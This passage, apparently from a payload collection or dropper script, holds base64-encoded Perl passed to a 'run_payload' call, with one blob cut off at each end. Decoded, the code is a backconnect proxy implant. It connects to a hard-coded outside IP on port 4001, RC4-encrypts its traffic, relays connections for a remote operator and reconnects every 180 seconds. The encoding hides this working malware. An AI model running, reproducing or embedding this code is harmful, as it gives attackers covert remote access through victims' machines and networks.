wgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_62.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjA0JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgD